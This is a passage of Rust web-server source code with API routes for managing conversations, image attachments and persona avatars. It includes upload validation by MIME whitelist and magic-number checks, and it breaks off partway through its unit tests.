10911            Err(_) => false,
10912        };
10913        let talk = switched?;
10914        Ok(Json(TalkView::new(talk, draining, &ui)))
10915    })
10916    .await
10917}
10918
10919/// `POST /api/talks/{id}/close`.
10920async fn talk_close(
10921    State(ui): State<Arc<Ui>>,
10922    Path(id): Path<String>,
10923) -> ApiResult<Json<TalkView>> {
10924    blocking(move || {
10925        let id = resolve_talk(&ui.talks, &id)?;
10926        let mut talk = ui.talks.get(&id)?;
10927        talk::close(&mut talk, &ui.talks).map_err(|error| {
10928            if error.is::<talk::ClosePendingInput>() {
10929                ApiError::conflict(format!("{error:#}"))
10930            } else {
10931                ApiError::from(error)
10932            }
10933        })?;
10934        let thinking = ui.is_thinking(&talk.id);
10935        Ok(Json(TalkView::new(talk, thinking, &ui)))
10936    })
10937    .await
10938}
10939
10940/// `POST /api/talks/{id}/reopen`.
10941async fn talk_reopen(
10942    State(ui): State<Arc<Ui>>,
10943    Path(id): Path<String>,
10944) -> ApiResult<Json<TalkView>> {
10945    blocking(move || {
10946        let id = resolve_talk(&ui.talks, &id)?;
10947        let mut talk = ui.talks.get(&id)?;
10948        talk::reopen(&mut talk, &ui.talks)?;
10949        let thinking = ui.is_thinking(&talk.id);
10950        Ok(Json(TalkView::new(talk, thinking, &ui)))
10951    })
10952    .await
10953}
10954
10955/// `GET /api/talks/{id}/live` - the in-progress reply of a running omp turn
10956/// ([`crate::omp_rpc::Live`]), or 204 when no turn is streaming.
10957async fn talk_live(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
10958    blocking(move || {
10959        let id = resolve_talk(&ui.talks, &id)?;
10960        Ok(
10961            match crate::omp_rpc::read_live(&crate::talk::live_path(&ui.talks, &id)) {
10962                Some(live) => Json(live).into_response(),
10963                None => StatusCode::NO_CONTENT.into_response(),
10964            },
10965        )
10966    })
10967    .await
10968}
10969
10970/// `POST /api/talks/{id}/stop` - ask the running turn to stop. Only an omp
10971/// RPC turn still taking commands honours it (its live snapshot exists for
10972/// exactly that long), so anything else is a 409, never a silent no-op.
10973async fn talk_stop(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
10974    blocking(move || {
10975        let id = resolve_talk(&ui.talks, &id)?;
10976        if !ui.is_thinking(&id)
10977            || !crate::omp_rpc::request_stop(
10978                &crate::talk::live_path(&ui.talks, &id),
10979                &crate::talk::live_stop_path(&ui.talks, &id),
10980            )?
10981        {
10982            return Err(ApiError::conflict(
10983                "no stoppable turn is running in this conversation",
10984            ));
10985        }
10986        Ok(StatusCode::ACCEPTED)
10987    })
10988    .await
10989}
10990
10991/// `DELETE /api/talks/{id}`.
10992///
10993/// Removes the conversation's record and artifacts outright, unlike
10994/// [`talk_close`] which keeps the record as history. A turn already in
10995/// flight is not refused here the way [`run_delete`] refuses a live run:
10996/// [`talk::record`] and the tail of [`talk::turn`] check for themselves,
10997/// under [`Talks::guard`], that the record they are about to write back is
10998/// still there, so a delete racing a turn is safe without this route having
10999/// to know a turn is running at all.
11000async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
11001    blocking(move || {
11002        let id = resolve_talk(&ui.talks, &id)?;
11003        ui.talks.remove(&id)?;
11004        Ok(StatusCode::NO_CONTENT)
11005    })
11006    .await
11007}
11008
11009fn talk_ids(root: &FsPath) -> Vec<String> {
11010    std::fs::read_dir(root)
11011        .into_iter()
11012        .flatten()
11013        .flatten()
11014        .filter_map(|e| {
11015            let path = e.path();
11016            if path.extension().is_some_and(|ext| ext == "json") {
11017                path.file_stem().and_then(|s| s.to_str()).map(str::to_owned)
11018            } else {
11019                None
11020            }
11021        })
11022        .collect()
11023}
11024
11025/// Expand an id or short id to exactly one talk id.
11026fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
11027    if plain_record_id(id) && store.path_of(id).is_file() {
11028        return Ok(id.to_owned());
11029    }
11030    pick(talk_ids(store.root()), id, "talk")
11031}
11032
11033/// `POST /api/talks/{id}/attachments` - upload one image to attach to a
11034/// future `talk-say`.
11035async fn talk_attachment_post(
11036    State(ui): State<Arc<Ui>>,
11037    Path(id): Path<String>,
11038    headers: HeaderMap,
11039    body: Bytes,
11040) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
11041    let mime = validate_attachment(&headers, &body)?;
11042    let name = filename_header(&headers);
11043    let data = body.to_vec();
11044    blocking(move || {
11045        let id = resolve_talk(&ui.talks, &id)?;
11046        let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
11047        Ok((StatusCode::CREATED, Json(att)))
11048    })
11049    .await
11050}
11051
11052/// `GET /api/talks/{id}/attachments/{att}` - the stored image back, for a
11053/// `<img>` tag in the transcript.
11054async fn talk_attachment_get(
11055    State(ui): State<Arc<Ui>>,
11056    Path((id, att)): Path<(String, String)>,
11057) -> ApiResult<Response> {
11058    blocking(move || {
11059        let id = resolve_talk(&ui.talks, &id)?;
11060        let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
11061            return Err(ApiError::not_found(format!(
11062                "talk {id} has no attachment `{att}`"
11063            )));
11064        };
11065        Ok(attachment_response(&meta.mime, data))
11066    })
11067    .await
11068}
11069
11070/// The avatar URL for one persona of one conversation. `v` is a fingerprint of
11071/// the icon setting, so changing it changes the URL.
11072fn avatar_url(home: &FsPath, talk_id: &str, p: &persona::Persona) -> String {
11073    let id = avatar_encode(&p.id);
11074    format!(
11075        "/api/talks/{talk_id}/avatar?persona={id}&v={}",
11076        persona_icon::fingerprint(
11077            effective_persona_icon(home, &p.id, p.icon.as_deref()).as_deref()
11078        )
11079    )
11080}
11081
11082#[derive(Debug, Default, Deserialize)]
11083struct AvatarQuery {
11084    persona: Option<String>,
11085    /// Set by the page after the first load failed: skip the `icon`.
11086    builtin: Option<String>,
11087}
11088
11089/// Served with every built-in avatar: it is an image, so nothing else may run.
11090const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
11091
11092fn builtin_avatar(id: &str) -> Response {
11093    svg_avatar(persona_icon::builtin_svg(id))
11094}
11095
11096async fn operator_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
11097    raster_or_builtin(
11098        read_icon_file(&avatar_setting_path(&ui.home, None))
11099            .filter(|_| q.builtin.is_none())
11100            .as_deref(),
11101        persona_icon::operator_svg(),
11102    )
11103}
11104
11105fn svg_avatar(svg: &'static str) -> Response {
11106    (
11107        [
11108            (header::CONTENT_TYPE, "image/svg+xml"),
11109            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
11110            (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
11111            (header::CACHE_CONTROL, "no-cache"),
11112        ],
11113        svg,
11114    )
11115        .into_response()
11116}
11117
11118fn avatar_encode(value: &str) -> String {
11119    value
11120        .bytes()
11121        .map(|b| {
11122            if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
11123                char::from(b).to_string()
11124            } else {
11125                format!("%{b:02X}")
11126            }
11127        })
11128        .collect()
11129}
11130
11131// Display-only overrides live outside configuration and conversation records.
11132fn avatar_setting_path(home: &FsPath, persona: Option<&str>) -> PathBuf {
11133    let Some(id) = persona else {
11134        return home.join("avatars/operator.data");
11135    };
11136    let encoded: String = id.bytes().map(|b| format!("{b:02x}")).collect();
11137    let mut path = home.join("avatars/personas");
11138    for chunk in encoded.as_bytes().chunks(100) {
11139        path.push(std::str::from_utf8(chunk).expect("hex"));
11140    }
11141    path.join("icon.data")
11142}
11143
11144fn effective_persona_icon(home: &FsPath, id: &str, configured: Option<&str>) -> Option<String> {
11145    match read_icon_file(&avatar_setting_path(home, Some(id))) {
11146        Some(value) if value == "builtin" => Some(String::new()),
11147        Some(value) => Some(value),
11148        None => configured.map(str::to_owned),
11149    }
11150}
11151
11152fn operator_icon_url(home: &FsPath) -> String {
11153    format!(
11154        "/avatars/operator.svg?v={}",
11155        persona_icon::fingerprint(
11156            read_icon_file(&avatar_setting_path(home, None))
11157                .as_deref()
11158                .or(Some(persona_icon::operator_svg()))
11159        )
11160    )
11161}
11162
11163fn raster_or_builtin(icon: Option<&str>, builtin: &'static str) -> Response {
11164    let mut response = match icon.and_then(|i| persona_icon::load(i).ok()) {
11165        Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
11166            attachment_response(mime, bytes)
11167        }
11168        _ => svg_avatar(builtin),
11169    };
11170    response
11171        .headers_mut()
11172        .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
11173    response
11174}
11175
11176#[derive(Default, Deserialize)]
11177struct AvatarSettingsQuery {
11178    repo: Option<PathBuf>,
11179    persona: Option<String>,
11180    builtin: Option<String>,
11181    inherit: Option<String>,
11182}
11183
11184fn avatar_settings_specs(
11185    ui: &Ui,
11186    repo: Option<PathBuf>,
11187) -> ApiResult<(PathBuf, Vec<crate::config::PersonaSpec>)> {
11188    let (repo, _) = settings_context(ui, SettingsQuery { repo })?;
11189    let specs = settings::repository_config(&repo, ui.machine_config.as_deref())
11190        .map(|cfg| cfg.talk.personas)
11191        .unwrap_or_default();
11192    Ok((repo, specs))
11193}
11194
11195fn saved_persona_ids(path: &FsPath, prefix: &str, out: &mut Vec<String>) {
11196    let Ok(entries) = std::fs::read_dir(path) else {
11197        return;
11198    };
11199    for entry in entries.flatten() {
11200        let name = entry.file_name().to_string_lossy().into_owned();
11201        if name == "icon.data" {
11202            let bytes: Option<Vec<u8>> = prefix
11203                .as_bytes()
11204                .chunks(2)
11205                .map(|c| u8::from_str_radix(std::str::from_utf8(c).ok()?, 16).ok())
11206                .collect();
11207            if let Some(id) = bytes.and_then(|b| String::from_utf8(b).ok()) {
11208                out.push(id);
11209            }
11210        } else if name.len() <= 100
11211            && !name.is_empty()
11212            && name.bytes().all(|b| b.is_ascii_hexdigit())
11213            && entry.file_type().is_ok_and(|t| t.is_dir())
11214        {
11215            saved_persona_ids(&entry.path(), &format!("{prefix}{name}"), out);
11216        }
11217    }
11218}
11219
11220async fn avatar_settings_get(
11221    State(ui): State<Arc<Ui>>,
11222    Query(q): Query<AvatarSettingsQuery>,
11223) -> ApiResult<Json<serde_json::Value>> {
11224    blocking(move || {
11225        let (repo, specs) = avatar_settings_specs(&ui, q.repo)?;
11226        let mut catalog = persona::catalog(&specs);
11227        let known_ids: Vec<_> = catalog.iter().map(|p| p.id.clone()).collect();
11228        let mut saved = Vec::new();
11229        saved_persona_ids(&ui.home.join("avatars/personas"), "", &mut saved);
11230        for id in saved {
11231            if !catalog.iter().any(|p| p.id == id) {
11232                catalog.push(persona::Persona { name: format!("{id} (saved override)"), id, prompt: String::new(), icon: None });
11233            }
11234        }
11235        let personas: Vec<_> = catalog.iter().map(|p| {
11236            let saved = read_icon_file(&avatar_setting_path(&ui.home, Some(&p.id)));
11237            let override_state = match saved.as_deref() {
11238                Some("builtin") => "builtin",
11239                Some(_) => "custom",
11240                None => "inherit",
11241            };
11242            let icon = effective_persona_icon(&ui.home, &p.id, p.icon.as_deref());
11243            serde_json::json!({"id":p.id,"name":p.name,
11244                "override_state":override_state,"has_config_icon":p.icon.is_some(),
11245                "is_orphan":!known_ids.contains(&p.id),"avatar":format!("/avatars/persona?persona={}&repo={}&v={}",
11246                avatar_encode(&p.id), avatar_encode(&repo.to_string_lossy()), persona_icon::fingerprint(icon.as_deref()))})
11247        }).collect();
11248        Ok(Json(serde_json::json!({"operator":operator_icon_url(&ui.home), "personas":personas})))
11249    }).await
11250}
11251
11252async fn settings_persona_avatar(
11253    State(ui): State<Arc<Ui>>,
11254    Query(q): Query<AvatarSettingsQuery>,
11255) -> ApiResult<Response> {
11256    blocking(move || {
11257        let (_, specs) = avatar_settings_specs(&ui, q.repo)?;
11258        let id = q.persona.as_deref().unwrap_or(persona::DEFAULT_ID);
11259        let found = persona::find(&specs, id);
11260        let icon =
11261            effective_persona_icon(&ui.home, id, found.as_ref().and_then(|p| p.icon.as_deref()));
11262        Ok(raster_or_builtin(
11263            icon.as_deref().filter(|_| q.builtin.is_none()),
11264            persona_icon::builtin_svg(id),
11265        ))
11266    })
11267    .await
11268}
11269
11270fn validate_avatar_target(q: &AvatarSettingsQuery) -> ApiResult<()> {
11271    if q.persona
11272        .as_ref()
11273        .is_some_and(|p| p.is_empty() || p.len() > 4096)
11274    {
11275        return Err(ApiError::bad_request("invalid persona id"));
11276    }
11277    Ok(())
11278}
11279
11280async fn avatar_settings_put(
11281    State(ui): State<Arc<Ui>>,
11282    Query(q): Query<AvatarSettingsQuery>,
11283    Json(upload): Json<MagiIconUpload>,
11284) -> ApiResult<Json<serde_json::Value>> {
11285    blocking(move || {
11286        validate_avatar_target(&q)?;
11287        save_icon_file(
11288            &avatar_setting_path(&ui.home, q.persona.as_deref()),
11289            &upload.icon,
11290        )
11291        .map_err(ApiError::bad_request_from)?;
11292        Ok(Json(serde_json::json!({"saved":true})))
11293    })
11294    .await
11295}
11296
11297async fn avatar_settings_delete(
11298    State(ui): State<Arc<Ui>>,
11299    Query(q): Query<AvatarSettingsQuery>,
11300) -> ApiResult<Json<serde_json::Value>> {
11301    blocking(move || {
11302        validate_avatar_target(&q)?;
11303        let path = avatar_setting_path(&ui.home, q.persona.as_deref());
11304        if q.persona.is_some() && q.inherit.is_none() {
11305            atomic_icon_write(&path, "builtin")?;
11306        } else {
11307            match std::fs::remove_file(path) {
11308                Ok(()) => (),
11309                Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
11310                Err(e) => return Err(anyhow::Error::from(e).into()),
11311            }
11312        }
11313        Ok(Json(serde_json::json!({"saved":true})))
11314    })
11315    .await
11316}
11317
11318// The global MAGI icon is deliberately independent of repository configuration.
11319fn magi_icon_path(home: &FsPath) -> PathBuf {
11320    home.join("magi-icon.data")
11321}
11322
11323fn read_magi_icon(home: &FsPath) -> Option<String> {
11324    read_icon_file(&magi_icon_path(home))
11325}
11326
11327fn read_icon_file(path: &FsPath) -> Option<String> {
11328    let metadata = std::fs::metadata(path).ok()?;
11329    if !metadata.is_file() || metadata.len() > persona_icon::ICON_MAX_BYTES as u64 {
11330        return None;
11331    }
11332    let file = std::fs::File::open(path).ok()?;
11333    use std::io::Read;
11334    let mut text = String::new();
11335    file.take(persona_icon::ICON_MAX_BYTES as u64 + 1)
11336        .read_to_string(&mut text)
11337        .ok()?;
11338    if text.len() > persona_icon::ICON_MAX_BYTES {
11339        return None;
11340    }
11341    if text == "builtin" {
11342        return Some(text);
11343    }
11344    validate_uploaded_icon(&text).ok()?;
11345    Some(text)
11346}
11347
11348fn magi_icon_url(home: &FsPath) -> String {
11349    format!(
11350        "/avatars/magi?v={}",
11351        persona_icon::fingerprint(read_magi_icon(home).as_deref())
11352    )
11353}
11354
11355async fn magi_icon_get(State(ui): State<Arc<Ui>>) -> Json<serde_json::Value> {
11356    Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)}))
11357}
11358
11359#[derive(Deserialize)]
11360struct MagiIconUpload {
11361    icon: String,
11362}
11363
11364fn save_magi_icon(home: &FsPath, icon: &str) -> Result<()> {
11365    save_icon_file(&magi_icon_path(home), icon)
11366}
11367
11368fn validate_uploaded_icon(icon: &str) -> Result<()> {
11369    if !icon.starts_with("data:") {
11370        anyhow::bail!("upload a raster image");
11371    }
11372    let (mime, bytes) = persona_icon::load(icon)?;
11373    if sniffed_mime(&bytes) != Some(mime) {
11374        anyhow::bail!("image content does not match its type");
11375    }
11376    Ok(())
11377}
11378
11379fn save_icon_file(path: &FsPath, icon: &str) -> Result<()> {
11380    validate_uploaded_icon(icon)?;
11381    atomic_icon_write(path, icon)
11382}
11383
11384fn atomic_icon_write(path: &FsPath, icon: &str) -> Result<()> {
11385    let home = path.parent().expect("icon parent");
11386    std::fs::create_dir_all(home)?;
11387    let token = crate::rng::SplitMix64::new(crate::rng::entropy()).uuid_v4();
11388    let temp = home.join(format!(".magi-icon-{token}.tmp"));
11389    let result = (|| -> Result<()> {
11390        use std::io::Write;
11391        let mut file = std::fs::OpenOptions::new()
11392            .write(true)
11393            .create_new(true)
11394            .open(&temp)?;
11395        file.write_all(icon.as_bytes())?;
11396        file.sync_all()?;
11397        std::fs::rename(&temp, path)?;
11398        Ok(())
11399    })();
11400    let _ = std::fs::remove_file(temp);
11401    result?;
11402    Ok(())
11403}
11404
11405async fn magi_icon_put(
11406    State(ui): State<Arc<Ui>>,
11407    Json(upload): Json<MagiIconUpload>,
11408) -> ApiResult<Json<serde_json::Value>> {
11409    blocking(move || {
11410        if !upload.icon.starts_with("data:") {
11411            return Err(ApiError::bad_request("upload a raster image"));
11412        }
11413        let (mime, bytes) = persona_icon::load(&upload.icon).map_err(ApiError::bad_request_from)?;
11414        if sniffed_mime(&bytes) != Some(mime) {
11415            return Err(ApiError::bad_request(
11416                "image content does not match its type",
11417            ));
11418        }
11419        save_magi_icon(&ui.home, &upload.icon)?;
11420        Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
11421    })
11422    .await
11423}
11424
11425async fn magi_icon_delete(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
11426    blocking(move || {
11427        match std::fs::remove_file(magi_icon_path(&ui.home)) {
11428            Ok(()) => (),
11429            Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
11430            Err(e) => return Err(anyhow::Error::from(e).into()),
11431        }
11432        Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
11433    })
11434    .await
11435}
11436
11437async fn magi_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
11438    let icon = (q.builtin.is_none())
11439        .then(|| read_magi_icon(&ui.home))
11440        .flatten();
11441    let mut response = match icon
11442        .as_deref()
11443        .and_then(|icon| persona_icon::load(icon).ok())
11444    {
11445        Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
11446            attachment_response(mime, bytes)
11447        }
11448        _ => svg_avatar(persona_icon::magi_svg()),
11449    };
11450    response
11451        .headers_mut()
11452        .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
11453    response
11454}
11455
11456/// `GET /api/talks/{id}/avatar?persona=<id>` - a persona's avatar: the
11457/// operator's raster `icon` when it resolves and its bytes agree with its
11458/// type, the built-in SVG otherwise. Display only; every failure is a warning
11459/// and the built-in avatar, never an error response.
11460async fn talk_avatar(
11461    State(ui): State<Arc<Ui>>,
11462    Path(id): Path<String>,
11463    Query(q): Query<AvatarQuery>,
11464) -> ApiResult<Response> {
11465    blocking(move || {
11466        let id = resolve_talk(&ui.talks, &id)?;
11467        let talk = ui.talks.get(&id)?;
11468        let wanted = q
11469            .persona
11470            .as_deref()
11471            .map(str::trim)
11472            .filter(|p| !p.is_empty())
11473            .unwrap_or(&talk.persona)
11474            .to_owned();
11475        let specs = match talk.config() {
11476            Ok(cfg) => cfg.talk.personas,
11477            Err(e) => {
11478                tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
11479                Vec::new()
11480            }
11481        };
11482        let found = persona::find(&specs, &wanted);
11483        // Stored blank IDs are the plain voice, whose canonical ID is `default`.
11484        let wanted = found.as_ref().map_or(wanted, |p| p.id.clone());
11485        let icon = effective_persona_icon(
11486            &ui.home,
11487            &wanted,
11488            found.as_ref().and_then(|p| p.icon.as_deref()),
11489        );
11490        if found.is_none() && icon.is_none() {
11491            return Ok(builtin_avatar(persona::DEFAULT_ID));
11492        }
11493        let Some(icon) = icon
11494            .as_deref()
11495            .filter(|icon| !icon.is_empty() && q.builtin.is_none())
11496        else {
11497            return Ok(builtin_avatar(&wanted));
11498        };
11499        let Some(found) = found else {
11500            return Ok(raster_or_builtin(
11501                Some(icon),
11502                persona_icon::builtin_svg(&wanted),
11503            ));
11504        };
11505        match persona_icon::load(icon) {
11506            Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
11507                let mut res = attachment_response(mime, bytes);
11508                res.headers_mut().insert(
11509                    header::CACHE_CONTROL,
11510                    header::HeaderValue::from_static("no-cache"),
11511                );
11512                Ok(res)
11513            }
11514            Ok((mime, _)) => {
11515                tracing::warn!(
11516                    "avatar: icon of persona `{}` is not really {mime}; using the built-in",
11517                    found.id
11518                );
11519                Ok(builtin_avatar(&found.id))
11520            }
11521            Err(e) => {
11522                tracing::warn!(
11523                    "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
11524                    found.id
11525                );
11526                Ok(builtin_avatar(&found.id))
11527            }
11528        }
11529    })
11530    .await
11531}
11532
11533/// Validate an attachment upload's declared `Content-Type` and the bytes
11534/// themselves, returning the canonical mime on success.
11535///
11536/// Two checks, both required: the header has to name one of
11537/// [`ATTACHMENT_MIME_WHITELIST`] (which is what keeps SVG out - it is
11538/// simply never in the list, active content rather than a picture, the same
11539/// exclusion [`asset_content_type`]'s doc explains), and the file's own
11540/// magic number has to agree. The second is what stops a mislabeled upload -
11541/// an HTML file sent as `Content-Type: image/png` - from ever reaching disk;
11542/// a declared type is a claim, not a fact, so it is never trusted alone.
11543fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
11544    if data.len() > ATTACHMENT_MAX_BYTES {
11545        return Err(ApiError::bad_request(format!(
11546            "attachment is {} bytes, over the {} MiB limit",
11547            data.len(),
11548            ATTACHMENT_MAX_BYTES / (1024 * 1024)
11549        ))
11550        .with_status(StatusCode::PAYLOAD_TOO_LARGE));
11551    }
11552    if data.is_empty() {
11553        return Err(ApiError::bad_request("attachment is empty"));
11554    }
11555    let declared = declared_mime(headers)?;
11556    match sniffed_mime(data) {
11557        Some(sniffed) if sniffed == declared => Ok(declared),
11558        Some(sniffed) => Err(ApiError::bad_request(format!(
11559            "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
11560        ))),
11561        None => Err(ApiError::bad_request(
11562            "the file's bytes do not match any accepted image format",
11563        )),
11564    }
11565}
11566
11567/// The declared `Content-Type`, checked against [`ATTACHMENT_MIME_WHITELIST`]
11568/// and nothing else - parameters like `; charset=` are stripped, but the
11569/// value itself is not otherwise interpreted.
11570fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
11571    let raw = headers
11572        .get(header::CONTENT_TYPE)
11573        .and_then(|v| v.to_str().ok())
11574        .unwrap_or("")
11575        .split(';')
11576        .next()
11577        .unwrap_or("")
11578        .trim()
11579        .to_ascii_lowercase();
11580    ATTACHMENT_MIME_WHITELIST
11581        .iter()
11582        .find(|&&m| m == raw)
11583        .copied()
11584        .ok_or_else(|| {
11585            if raw == "image/svg+xml" {
11586                ApiError::bad_request(
11587                    "SVG is not accepted: it can carry active content (e.g. a <script>), \
11588                     not just a picture",
11589                )
11590            } else if raw.is_empty() {
11591                ApiError::bad_request("Content-Type is required for an attachment upload")
11592            } else {
11593                ApiError::bad_request(format!(
11594                    "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
11595                     image/gif or image/webp"
11596                ))
11597            }
11598        })
11599}
11600
11601/// Identify an image by its magic number, independent of whatever
11602/// `Content-Type` claimed.
11603fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
11604    if data.starts_with(b"\x89PNG\r\n\x1a\n") {
11605        Some("image/png")
11606    } else if data.starts_with(b"\xff\xd8\xff") {
11607        Some("image/jpeg")
11608    } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
11609        Some("image/gif")
11610    } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
11611        Some("image/webp")
11612    } else {
11613        None
11614    }
11615}
11616
11617/// The operator's own filename, from [`FILENAME_HEADER`], kept only for
11618/// display - see [`talk::Attachment::name`]'s doc on why it never
11619/// contributes to a path. A missing or blank header (curl without it, an
11620/// older front end) falls back to a generic name rather than refusing the
11621/// upload over a field that is cosmetic.
11622fn filename_header(headers: &HeaderMap) -> String {
11623    headers
11624        .get(FILENAME_HEADER)
11625        .and_then(|v| v.to_str().ok())
11626        .map(str::trim)
11627        .filter(|s| !s.is_empty())
11628        .unwrap_or("attachment")
11629        .to_owned()
11630}
11631
11632/// Every attachment `GET` response: the mime re-validated against the same
11633/// closed whitelist the upload route enforces - never the string trusted
11634/// verbatim off disk - plus `X-Content-Type-Options: nosniff`, so a browser
11635/// cannot decide it knows better than the type we send. Unlike a panel asset
11636/// there is no [`PANEL_CSP`] here: this is a plain image the phone's own
11637/// document renders inline, not agent-authored HTML in a sandboxed frame.
11638fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
11639    let content_type = ATTACHMENT_MIME_WHITELIST
11640        .iter()
11641        .find(|&&m| m == mime)
11642        .copied()
11643        .unwrap_or("application/octet-stream");
11644    (
11645        [
11646            (header::CONTENT_TYPE, content_type),
11647            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
11648        ],
11649        body,
11650    )
11651        .into_response()
11652}
11653
11654/// The configuration for a repository, read off the disk for this request.
11655///
11656/// Through [`blocking`] because discovery reads and merges several TOML files,
11657/// and because the alternative - caching it in [`Ui`] at startup - would mean
11658/// the operator's phone kept interviewing with a roster they had already
11659/// changed, with no way to reload it but restarting the server they are not
11660/// sitting in front of.
11661async fn config_for(repo: &FsPath) -> ApiResult<Config> {
11662    let repo = repo.to_path_buf();
11663    blocking(move || {
11664        let (cfg, _) = Config::discover(&repo, None)?;
11665        Ok(cfg)
11666    })
11667    .await
11668}
11669
11670/// The one prefix rule, used for both runs and tasks: a leading match for a
11671/// full id, a trailing match for the short form an operator reads off a
11672/// report. Written here rather than borrowed from `queue::resolve_id` because
11673/// the UI needs the two failures as different status codes, and telling them
11674/// apart from an error message is not something to build a route on.
11675fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
11676    let mut hits = ids
11677        .into_iter()
11678        .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
11679    match (hits.next(), hits.next()) {
11680        (Some(one), None) => Ok(one),
11681        (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
11682        (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
11683            "`{prefix}` matches more than one {what}, including {a} and {b}"
11684        ))),
11685    }
11686}
11687
11688#[cfg(test)]
11689mod tests {
11690
11691    #[test]
11692    fn deputy_exhausted_requires_an_open_question_without_a_live_holder() {
11693        let dir = tempfile::tempdir().unwrap();
11694        let store = ask::Questions::at(dir.path().join("questions"));
11695        let mut q = Question::new(
11696            "task".to_owned(),
11697            "conduct".to_owned(),
11698            "conduct".to_owned(),
11699            "choose".to_owned(),
11700            String::new(),
11701            vec!["keep".to_owned()],
11702        );
11703        q.deputy = Some(ask::Deputy::new("brief".to_owned()));
11704        q.say("why?").unwrap();
11705        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS - 1;
11706        assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
11707        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
11708        store.put(&mut q).unwrap();
11709        assert!(QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
11710        assert_eq!(store.count_needs_owner(), 1);
11711        store.beat(&q.id, ask::WaiterKind::Deputy);
11712        assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
11713        assert_eq!(store.count_needs_owner(), 0);
11714        let mut stale = store.read_lease(&q.id).unwrap();
11715        stale.beat_at = jiff::Timestamp::now() - std::time::Duration::from_secs(3600);
11716        std::fs::write(store.lease_path(&q.id), serde_json::to_vec(&stale).unwrap()).unwrap();
11717        let view = QuestionView::of(q.clone(), &store, Some(&Config::default()));
11718        assert!(view.deputy_exhausted);
11719        assert!(view.waiting_on_agent);
11720        assert_eq!(view.question.choices, ["keep"]);
11721        store.drop_lease(&q.id);
11722        q.answer(ask::Answer::Choice("keep".to_owned())).unwrap();
11723        assert!(!QuestionView::of(q, &store, Some(&Config::default())).deputy_exhausted);
11724    }
11725
11726    #[test]
11727    fn holder_reads_the_lease_not_the_record() {
11728        let mut q = Question::new(
11729            "run".to_owned(),
11730            "implement".to_owned(),
11731            "impl-A".to_owned(),
11732            "which?".to_owned(),
11733            String::new(),
11734            Vec::new(),
11735        );
11736        assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
11737        q.cwd = Some("/tmp".to_owned());
11738        assert_eq!(holder_of(&q, None), Some("nobody"));
11739        let beat = |kind, ago: i64| ask::Lease {
11740            kind,
11741            pid: 1,
11742            beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
11743                .unwrap(),
11744        };
11745        let fresh = beat(ask::WaiterKind::Asker, 1);
11746        assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
11747        let daemon = beat(ask::WaiterKind::Daemon, 1);
11748        assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
11749        let stale = beat(ask::WaiterKind::Asker, 3600);
11750        assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
11751
11752        // A conductor question says "deputy" only while one is attached and
11753        // alive, and "nobody" - never silence - when nothing ever listened.
11754        let mut c = Question::new(
11755            "task".to_owned(),
11756            crate::conduct::NODE.to_owned(),
11757            "conduct".to_owned(),
11758            "which?".to_owned(),
11759            String::new(),
11760            Vec::new(),
11761        );
11762        assert_eq!(holder_of(&c, None), Some("nobody"));
11763        c.cwd = Some("/tmp".to_owned());
11764        c.deputy = Some(ask::Deputy::new("brief".to_owned()));
11765        assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
11766        let deputy = beat(ask::WaiterKind::Deputy, 1);
11767        assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
11768        assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
11769
11770        // A release-watch question: nobody until a deputy is attached.
11771        let mut r = Question::new(
11772            String::new(),
11773            crate::bump::NOTICE_NODE.to_owned(),
